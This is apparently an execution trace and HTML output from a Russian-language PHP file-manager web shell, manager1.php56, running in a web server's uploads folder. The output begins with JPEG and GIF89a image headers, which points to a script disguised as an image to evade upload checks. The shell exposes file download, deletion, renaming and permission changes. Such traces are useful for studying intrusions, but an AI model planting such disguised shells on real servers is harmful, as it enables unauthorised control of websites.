3	150	R			'manager1.php56'
3	151	0	0.009926	960448	base64_encode	0		/var/www/html/uploads/manager1.php56	693	1	'/var/www/html/uploads/manager1.php56'
3	151	1	0.009939	960560
3	151	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzL21hbmFnZXIxLnBocDU2'
2	149	1	0.009956	960496
2	149	R			'./manager1.php56?img=L3Zhci93d3cvaHRtbC91cGxvYWRzL21hbmFnZXIxLnBocDU2'
2	152	0	0.009974	960720	fm_img_link	1		/var/www/html/uploads/manager1.php56	1492	1	'/var/www/html/uploads/manager1.php56'
3	153	0	0.009987	960720	basename	0		/var/www/html/uploads/manager1.php56	693	1	'/var/www/html/uploads/manager1.php56'
3	153	1	0.010001	960792
3	153	R			'manager1.php56'
3	154	0	0.010015	960768	base64_encode	0		/var/www/html/uploads/manager1.php56	693	1	'/var/www/html/uploads/manager1.php56'
3	154	1	0.010028	960880
3	154	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzL21hbmFnZXIxLnBocDU2'
2	152	1	0.010044	960816
2	152	R			'./manager1.php56?img=L3Zhci93d3cvaHRtbC91cGxvYWRzL21hbmFnZXIxLnBocDU2'
1		A						/var/www/html/uploads/manager1.php56	1493	$link = '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'./manager1.php56?img=L3Zhci93d3cvaHRtbC91cGxvYWRzL21hbmFnZXIxLnBocDU2\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="./manager1.php56?img=L3Zhci93d3cvaHRtbC91cGxvYWRzL21hbmFnZXIxLnBocDU2"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> manager1.php56</a>'
2	155	0	0.010087	960656	explode	0		/var/www/html/uploads/manager1.php56	1494	2	'.'	'manager1.php56'
2	155	1	0.010101	961176
2	155	R			[0 => 'manager1', 1 => 'php56']
1		A						/var/www/html/uploads/manager1.php56	1494	$e_arr = [0 => 'manager1', 1 => 'php56']
2	156	0	0.010131	960728	end	0		/var/www/html/uploads/manager1.php56	1495	1	[0 => 'manager1', 1 => 'php56']
2	156	1	0.010146	960760
2	156	R			'php56'
1		A						/var/www/html/uploads/manager1.php56	1495	$ext = 'php56'
2	157	0	0.010170	960688	__	1		/var/www/html/uploads/manager1.php56	1496	1	'Download'
2	157	1	0.010184	960688
2	157	R			'Скачать'
2	158	0	0.010198	960688	__	1		/var/www/html/uploads/manager1.php56	1496	1	'Download'
2	158	1	0.010211	960688
2	158	R			'Скачать'
2	159	0	0.010225	960744	fm_link	1		/var/www/html/uploads/manager1.php56	1496	4	'download'	'/var/www/html/uploads/manager1.php56'	'Скачать'	'Скачать manager1.php56'
3	160	0	0.010242	960800	base64_encode	0		/var/www/html/uploads/manager1.php56	546	1	'/var/www/html/uploads/manager1.php56'
3	160	1	0.010255	960912
3	160	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzL21hbmFnZXIxLnBocDU2'
2	159	1	0.010272	960936
2	159	R			'&nbsp;&nbsp;<a href="?download=L3Zhci93d3cvaHRtbC91cGxvYWRzL21hbmFnZXIxLnBocDU2" title="Скачать manager1.php56">Скачать</a>'
1		A						/var/www/html/uploads/manager1.php56	1496	$loadlink = '&nbsp;&nbsp;<a href="?download=L3Zhci93d3cvaHRtbC91cGxvYWRzL21hbmFnZXIxLnBocDU2" title="Скачать manager1.php56">Скачать</a>'
2	161	0	0.010313	960720	fm_root	1		/var/www/html/uploads/manager1.php56	1499	1	'manager1.php56'
2	161	1	0.010327	960720
2	161	R			FALSE
2	162	0	0.010340	960720	__	1		/var/www/html/uploads/manager1.php56	1499	1	'Compress'
2	162	1	0.010353	960720
2	162	R			'Сжать'
2	163	0	0.010367	960768	__	1		/var/www/html/uploads/manager1.php56	1499	1	'Archiving'
2	163	1	0.010380	960768
2	163	R			'Архивировать'
2	164	0	0.010395	960832	fm_link	1		/var/www/html/uploads/manager1.php56	1499	4	'gzfile'	'/var/www/html/uploads/manager1.php56'	'Сжать&nbsp;.tar.gz'	'Архивировать manager1.php56'
3	165	0	0.010413	960888	base64_encode	0		/var/www/html/uploads/manager1.php56	546	1	'/var/www/html/uploads/manager1.php56'
3	165	1	0.010426	961000
3	165	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzL21hbmFnZXIxLnBocDU2'
2	164	1	0.010442	961024
2	164	R			'&nbsp;&nbsp;<a href="?gzfile=L3Zhci93d3cvaHRtbC91cGxvYWRzL21hbmFnZXIxLnBocDU2" title="Архивировать manager1.php56">Сжать&nbsp;.tar.gz</a>'
1		A						/var/www/html/uploads/manager1.php56	1499	$arlink = '&nbsp;&nbsp;<a href="?gzfile=L3Zhci93d3cvaHRtbC91cGxvYWRzL21hbmFnZXIxLnBocDU2" title="Архивировать manager1.php56">Сжать&nbsp;.tar.gz</a>'
1		A						/var/www/html/uploads/manager1.php56	1500	$style = 'row1'
2	166	0	0.010495	960720	__	1		/var/www/html/uploads/manager1.php56	1501	1	'File selected'
2	166	1	0.010509	960720
2	166	R			'Выбран файл'
2	167	0	0.010524	960816	__	1		/var/www/html/uploads/manager1.php56	1501	1	'Are you sure you want to delete this file?'
2	167	1	0.010542	960816
2	167	R			'Вы уверены, что хотите удалить этот файл?'
1		A						/var/www/html/uploads/manager1.php56	1501	$alert = 'onClick="if(confirm(\'Выбран файл: \\nmanager1.php56. \\nВы уверены, что хотите удалить этот файл?\')) document.location.href = \'?fm=true&delete=manager1.php56&path=/var/www/html/uploads/\'"'
2	168	0	0.010583	960720	fm_root	1		/var/www/html/uploads/manager1.php56	1503	1	'manager1.php56'
2	168	1	0.010597	960720
2	168	R			FALSE
2	169	0	0.010610	960720	__	1		/var/www/html/uploads/manager1.php56	1503	1	'Delete'
2	169	1	0.010623	960720
2	169	R			'Удалить'
2	170	0	0.010637	961040	__	1		/var/www/html/uploads/manager1.php56	1503	1	'Delete'
2	170	1	0.010650	961040
2	170	R			'Удалить'
1		A						/var/www/html/uploads/manager1.php56	1503	$deletelink = '<a href="#" title="Удалить manager1.php56" onClick="if(confirm(\'Выбран файл: \\nmanager1.php56. \\nВы уверены, что хотите удалить этот файл?\')) document.location.href = \'?fm=true&delete=manager1.php56&path=/var/www/html/uploads/\'">Удалить</a>'
2	171	0	0.010688	960784	fm_root	1		/var/www/html/uploads/manager1.php56	1504	1	'manager1.php56'
2	171	1	0.010701	960784
2	171	R			FALSE
2	172	0	0.010714	960896	__	1		/var/www/html/uploads/manager1.php56	1504	1	'Rename'
2	172	1	0.010727	960896
2	172	R			'Переименовать'
2	173	0	0.010742	960944	__	1		/var/www/html/uploads/manager1.php56	1504	1	'Rename'
2	173	1	0.010754	960944
2	173	R			'Переименовать'
1		A						/var/www/html/uploads/manager1.php56	1504	$renamelink = '<a href="?fm=true&rename=manager1.php56&path=/var/www/html/uploads/" title="Переименовать manager1.php56">Переименовать</a>'
2	174	0	0.010786	960896	__	1		/var/www/html/uploads/manager1.php56	1505	1	'Rights'
2	174	1	0.010799	960896
2	174	R			'Права'
2	175	0	0.010812	960912	fm_rights_string	1		/var/www/html/uploads/manager1.php56	1505	2	'/var/www/html/uploads/manager1.php56'	???
3	176	0	0.010826	960912	fileperms	0		/var/www/html/uploads/manager1.php56	393	1	'/var/www/html/uploads/manager1.php56'
3	176	1	0.010839	960952
3	176	R			33204
2		A						/var/www/html/uploads/manager1.php56	393	$perms = 33204
2		A						/var/www/html/uploads/manager1.php56	394	$info = ''
2		A						/var/www/html/uploads/manager1.php56	404	$info = '-'
2		A						/var/www/html/uploads/manager1.php56	424	$info .= 'r'
2		A						/var/www/html/uploads/manager1.php56	425	$info .= 'w'
2		A						/var/www/html/uploads/manager1.php56	428	$info .= '-'
2		A						/var/www/html/uploads/manager1.php56	431	$info .= 'r'
2		A						/var/www/html/uploads/manager1.php56	432	$info .= 'w'
2		A						/var/www/html/uploads/manager1.php56	435	$info .= '-'
2		A						/var/www/html/uploads/manager1.php56	438	$info .= 'r'
2		A						/var/www/html/uploads/manager1.php56	439	$info .= '-'
2		A						/var/www/html/uploads/manager1.php56	442	$info .= '-'
2	175	1	0.010975	960952
2	175	R			'-rw-rw-r--'
1		A						/var/www/html/uploads/manager1.php56	1505	$rightstext = '<a href="?fm=true&rights=manager1.php56&path=/var/www/html/uploads/" title="Права manager1.php56">-rw-rw-r--</a>'
2	177	0	0.011008	960784	gmdate	0		/var/www/html/uploads/manager1.php56	1510	2	'Y-m-d H:i:s'	1676254089
2	177	1	0.011024	961112
2	177	R			'2023-02-13 02:08:09'
1		A						/var/www/html/uploads/manager1.php56	1477	$filename = '/var/www/html/uploads/prepend.php'
2	178	0	0.011052	960784	stat	0		/var/www/html/uploads/manager1.php56	1478	1	'/var/www/html/uploads/prepend.php'
2	178	1	0.011073	962576
2	178	R			[0 => 2049, 1 => 524479, 2 => 33261, 3 => 1, 4 => 0, 5 => 0, 6 => 0, 7 => 57, 8 => 1676254089, 9 => 1676254089, 10 => 1676254089, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524479, 'mode' => 33261, 'nlink' => 1, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 57, 'atime' => 1676254089, 'mtime' => 1676254089, 'ctime' => 1676254089, 'blksize' => 4096, 'blocks' => 8]
1		A						/var/www/html/uploads/manager1.php56	1478	$filedata = [0 => 2049, 1 => 524479, 2 => 33261, 3 => 1, 4 => 0, 5 => 0, 6 => 0, 7 => 57, 8 => 1676254089, 9 => 1676254089, 10 => 1676254089, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524479, 'mode' => 33261, 'nlink' => 1, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 57, 'atime' => 1676254089, 'mtime' => 1676254089, 'ctime' => 1676254089, 'blksize' => 4096, 'blocks' => 8]
2	179	0	0.011136	960784	is_dir	0		/var/www/html/uploads/manager1.php56	1479	1	'/var/www/html/uploads/prepend.php'
2	179	1	0.011150	960824
2	179	R			FALSE
2	180	0	0.011164	960784	getimagesize	0		/var/www/html/uploads/manager1.php56	1489	1	'/var/www/html/uploads/prepend.php'
2	180	1	0.011200	960824
2	180	R			FALSE
2	181	0	0.011215	960880	__	1		/var/www/html/uploads/manager1.php56	1493	1	'Edit'
2	181	1	0.011230	960880
2	181	R			'Редактировать'
1		A						/var/www/html/uploads/manager1.php56	1493	$link = '<a href="?fm=true&edit=prepend.php&path=/var/www/html/uploads/" title="Редактировать"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> prepend.php</a>'
2	182	0	0.011264	960528	explode	0		/var/www/html/uploads/manager1.php56	1494	2	'.'	'prepend.php'
2	182	1	0.011278	961040
2	182	R			[0 => 'prepend', 1 => 'php']
1		A						/var/www/html/uploads/manager1.php56	1494	$e_arr = [0 => 'prepend', 1 => 'php']
2	183	0	0.011306	960552	end	0		/var/www/html/uploads/manager1.php56	1495	1	[0 => 'prepend', 1 => 'php']
2	183	1	0.011321	960584
2	183	R			'php'
1		A						/var/www/html/uploads/manager1.php56	1495	$ext = 'php'
2	184	0	0.011345	960520	__	1		/var/www/html/uploads/manager1.php56	1496	1	'Download'
2	184	1	0.011359	960520
2	184	R			'Скачать'
2	185	0	0.011374	960520	__	1		/var/www/html/uploads/manager1.php56	1496	1	'Download'
2	185	1	0.011387	960520
2	185	R			'Скачать'
2	186	0	0.011401	960576	fm_link	1		/var/www/html/uploads/manager1.php56	1496	4	'download'	'/var/www/html/uploads/prepend.php'	'Скачать'	'Скачать prepend.php'
3	187	0	0.011418	960632	base64_encode	0		/var/www/html/uploads/manager1.php56	546	1	'/var/www/html/uploads/prepend.php'
3	187	1	0.011432	960744
3	187	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzL3ByZXBlbmQucGhw'
2	186	1	0.011448	960736
2	186	R			'&nbsp;&nbsp;<a href="?download=L3Zhci93d3cvaHRtbC91cGxvYWRzL3ByZXBlbmQucGhw" title="Скачать prepend.php">Скачать</a>'
1		A						/var/www/html/uploads/manager1.php56	1496	$loadlink = '&nbsp;&nbsp;<a href="?download=L3Zhci93d3cvaHRtbC91cGxvYWRzL3ByZXBlbmQucGhw" title="Скачать prepend.php">Скачать</a>'
2	188	0	0.011488	960488	fm_root	1		/var/www/html/uploads/manager1.php56	1499	1	'prepend.php'
2	188	1	0.011501	960488
2	188	R			FALSE
2	189	0	0.011514	960488	__	1		/var/www/html/uploads/manager1.php56	1499	1	'Compress'
2	189	1	0.011528	960488
2	189	R			'Сжать'
2	190	0	0.011541	960536	__	1		/var/www/html/uploads/manager1.php56	1499	1	'Archiving'
2	190	1	0.011554	960536
2	190	R			'Архивировать'
2	191	0	0.011568	960600	fm_link	1		/var/www/html/uploads/manager1.php56	1499	4	'gzfile'	'/var/www/html/uploads/prepend.php'	'Сжать&nbsp;.tar.gz'	'Архивировать prepend.php'
3	192	0	0.011587	960656	base64_encode	0		/var/www/html/uploads/manager1.php56	546	1	'/var/www/html/uploads/prepend.php'
3	192	1	0.011601	960768
3	192	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzL3ByZXBlbmQucGhw'
2	191	1	0.011617	960792
2	191	R			'&nbsp;&nbsp;<a href="?gzfile=L3Zhci93d3cvaHRtbC91cGxvYWRzL3ByZXBlbmQucGhw" title="Архивировать prepend.php">Сжать&nbsp;.tar.gz</a>'
1		A						/var/www/html/uploads/manager1.php56	1499	$arlink = '&nbsp;&nbsp;<a href="?gzfile=L3Zhci93d3cvaHRtbC91cGxvYWRzL3ByZXBlbmQucGhw" title="Архивировать prepend.php">Сжать&nbsp;.tar.gz</a>'
1		A						/var/www/html/uploads/manager1.php56	1500	$style = 'row1'
2	193	0	0.011669	960488	__	1		/var/www/html/uploads/manager1.php56	1501	1	'File selected'
2	193	1	0.011683	960488
2	193	R			'Выбран файл'
2	194	0	0.011698	960584	__	1		/var/www/html/uploads/manager1.php56	1501	1	'Are you sure you want to delete this file?'
2	194	1	0.011712	960584
2	194	R			'Вы уверены, что хотите удалить этот файл?'
1		A						/var/www/html/uploads/manager1.php56	1501	$alert = 'onClick="if(confirm(\'Выбран файл: \\nprepend.php. \\nВы уверены, что хотите удалить этот файл?\')) document.location.href = \'?fm=true&delete=prepend.php&path=/var/www/html/uploads/\'"'
2	195	0	0.011752	960488	fm_root	1		/var/www/html/uploads/manager1.php56	1503	1	'prepend.php'
2	195	1	0.011766	960488
2	195	R			FALSE
2	196	0	0.011779	960488	__	1		/var/www/html/uploads/manager1.php56	1503	1	'Delete'
2	196	1	0.011792	960488
2	196	R			'Удалить'
2	197	0	0.011806	960808	__	1		/var/www/html/uploads/manager1.php56	1503	1	'Delete'
2	197	1	0.011825	960808
2	197	R			'Удалить'
1		A						/var/www/html/uploads/manager1.php56	1503	$deletelink = '<a href="#" title="Удалить prepend.php" onClick="if(confirm(\'Выбран файл: \\nprepend.php. \\nВы уверены, что хотите удалить этот файл?\')) document.location.href = \'?fm=true&delete=prepend.php&path=/var/www/html/uploads/\'">Удалить</a>'
2	198	0	0.011863	960424	fm_root	1		/var/www/html/uploads/manager1.php56	1504	1	'prepend.php'
2	198	1	0.011876	960424
2	198	R			FALSE
2	199	0	0.011889	960536	__	1		/var/www/html/uploads/manager1.php56	1504	1	'Rename'
2	199	1	0.011902	960536
2	199	R			'Переименовать'
2	200	0	0.011916	960584	__	1		/var/www/html/uploads/manager1.php56	1504	1	'Rename'
2	200	1	0.011929	960584
2	200	R			'Переименовать'
1		A						/var/www/html/uploads/manager1.php56	1504	$renamelink = '<a href="?fm=true&rename=prepend.php&path=/var/www/html/uploads/" title="Переименовать prepend.php">Переименовать</a>'
2	201	0	0.011961	960536	__	1		/var/www/html/uploads/manager1.php56	1505	1	'Rights'
2	201	1	0.011974	960536
2	201	R			'Права'
2	202	0	0.011987	960552	fm_rights_string	1		/var/www/html/uploads/manager1.php56	1505	2	'/var/www/html/uploads/prepend.php'	???
3	203	0	0.012001	960552	fileperms	0		/var/www/html/uploads/manager1.php56	393	1	'/var/www/html/uploads/prepend.php'
3	203	1	0.012014	960592
3	203	R			33261
2		A						/var/www/html/uploads/manager1.php56	393	$perms = 33261
2		A						/var/www/html/uploads/manager1.php56	394	$info = ''
2		A						/var/www/html/uploads/manager1.php56	404	$info = '-'
2		A						/var/www/html/uploads/manager1.php56	424	$info .= 'r'
2		A						/var/www/html/uploads/manager1.php56	425	$info .= 'w'
2		A						/var/www/html/uploads/manager1.php56	428	$info .= 'x'
2		A						/var/www/html/uploads/manager1.php56	431	$info .= 'r'
2		A						/var/www/html/uploads/manager1.php56	432	$info .= '-'
2		A						/var/www/html/uploads/manager1.php56	435	$info .= 'x'
2		A						/var/www/html/uploads/manager1.php56	438	$info .= 'r'
2		A						/var/www/html/uploads/manager1.php56	439	$info .= '-'
2		A						/var/www/html/uploads/manager1.php56	442	$info .= 'x'
2	202	1	0.012160	960592
2	202	R			'-rwxr-xr-x'
1		A						/var/www/html/uploads/manager1.php56	1505	$rightstext = '<a href="?fm=true&rights=prepend.php&path=/var/www/html/uploads/" title="Права prepend.php">-rwxr-xr-x</a>'
2	204	0	0.012192	960424	gmdate	0		/var/www/html/uploads/manager1.php56	1510	2	'Y-m-d H:i:s'	1676254089
2	204	1	0.012208	960752
2	204	R			'2023-02-13 02:08:09'
2	205	0	0.012228	960424	microtime	0		/var/www/html/uploads/manager1.php56	1524	0
2	205	1	0.012242	960472
2	205	R			'0.28560000 1676254089'
2	206	0	0.012256	960472	explode	0		/var/www/html/uploads/manager1.php56	1524	2	' '	'0.28560000 1676254089'
2	206	1	0.012271	961000
2	206	R			[0 => '0.28560000', 1 => '1676254089']
1		A						/var/www/html/uploads/manager1.php56	1524	$mtime = [0 => '0.28560000', 1 => '1676254089']
1		A						/var/www/html/uploads/manager1.php56	1525	$totaltime = 0.009537935256958
2	207	0	0.012317	960880	fm_home	1		/var/www/html/uploads/manager1.php56	1526	1	???
3	208	0	0.012329	960880	fm_url	1		/var/www/html/uploads/manager1.php56	742	1	FALSE
3		A						/var/www/html/uploads/manager1.php56	737	$host = '.'
4	209	0	0.012354	960912	basename	0		/var/www/html/uploads/manager1.php56	738	1	'/var/www/html/uploads/manager1.php56'
4	209	1	0.012369	960984
4	209	R			'manager1.php56'
3	208	1	0.012383	960928
3	208	R			'./manager1.php56'
3	210	0	0.012398	960960	__	1		/var/www/html/uploads/manager1.php56	742	1	'Home'
3	210	1	0.012411	960960
3	210	R			'Домой'
2	207	1	0.012425	961040
2	207	R			'&nbsp;<a href="./manager1.php56" title="Домой"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>'
2	211	0	0.012448	961104	fm_site_url	1		/var/www/html/uploads/manager1.php56	1526	0
3	212	0	0.012461	961104	fm_protocol	1		/var/www/html/uploads/manager1.php56	733	0
3	212	1	0.012478	961104
3	212	R			'http://'
2	211	1	0.012492	961152
2	211	R			'http://localhost'
2	213	0	0.012508	960880	phpversion	0		/var/www/html/uploads/manager1.php56	1527	0
2	213	1	0.012525	960944
2	213	R			'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
2	214	0	0.012541	960880	__	1		/var/www/html/uploads/manager1.php56	1529	1	'Generation time'
2	214	1	0.012554	960880
2	214	R			'Генерация страницы'
2	215	0	0.012570	960960	round	0		/var/www/html/uploads/manager1.php56	1529	2	0.009537935256958	2
2	215	1	0.012585	961032
2	215	R			0.01
2	216	0	0.012600	960880	__	1		/var/www/html/uploads/manager1.php56	1532	1	'Download'
2	216	1	0.012613	960880
2	216	R			'Скачать'
2	217	0	0.012681	960880	__	1		/var/www/html/uploads/manager1.php56	1533	1	'Settings'
2	217	1	0.012695	960880
2	217	R			'Настройка'
1	3	1	0.012897	960880
			0.012992	594600
TRACE END   [2023-02-13 00:08:35.184133]


Generated HTML code

<html><head><script type="text/javascript" src="http://www.cdolivet.com/editarea/editarea/edit_area/langs/ru.js" charset="UTF-8"></script><script type="text/javascript" src="http://www.cdolivet.com/editarea/editarea/edit_area/reg_syntax/php.js" charset="UTF-8"></script></head><body>����JFIF��;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 90
��C




��C		

��PP"��	
���}!1AQa"q2���#B��R��$3br�	
%&amp;'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz���������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&amp;'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz��������������������������������������������������������������������������?�"�E�x�}�^�L2[G����'�-�v��EIƜy�Tc�rO��-okZڳG�=_�Z�$�i=���7���m#,1����ר�B�Z~1^t�2:}�O�)��9�\+o6�a����B�u��W�ףNq�c�Q�
(������R�@{��K
�H�uQTW����W{5{�����]���ݮ_�7�[��+��+^D���}�FS^^�}�X�m���@�W��23+.�_�j��}����QEw��)�R��KY��u����[����"u�5a�)�_&gt;W�|;�E�"��n�6�ʼn���oI�eQ^y�E+�Q�1������ڮ�����3W��D�E��%M�=��:�:�0��y�j�(���0�G����@��_�m'��҆&gt;_��e?�ܻ�j����h��D/�sp�۟�m��.Zf����𥢊���*4��VjX�f��Q��ͻ�e�+�^��F[�ܤeͻܿ{o�W�W�BW�c���?�4�WI��m溑c�6�F���j��ڕ��.�Y'�_3�5��F�c�ۈl���l|���&gt;�Ҽ��d��4���_iz.�&gt;���3WB8�"��\��#p��)��絯iz��"��?+WEI�MI��ɵo�ڕ�f�)z�����\���Z���E"��e���7AY���c�[�����1�/ѫ��}��T����GIF89a=&lt;

     
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>File manager</title>
<style>
body {
    background-color:	white;
    font-family:		Verdana, Arial, Helvetica, sans-serif;
    font-size:			8pt;
    margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
    background-color: #ACBBC6
}

th, td { 
    font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
    padding: 3px;
}

th	{
    height:				25px;
    background-color:	#006699;
    color:				#FFA34F;
    font-weight:		bold;
    font-size:			11px;
}

.row1 {
    background-color:	#EFEFEF;
}

.row2 {
    background-color:	#DEE3E7;
}

.row3 {
    background-color:	#D1D7DC;
    padding: 5px;
}

tr.row1:hover {
    background-color:	#F3FCFC;
}

tr.row2:hover {
    background-color:	#F0F6F6;
}

.whole {
    width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
    font: 9pt 'Courier New', courier;
    line-height: 125%;
    padding: 5px;
}

.textarea_input {
    height: 1em;
}

.textarea_input:focus {
    height: auto;
}

input[type=submit]{
    background: #FCFCFC none !important;
    cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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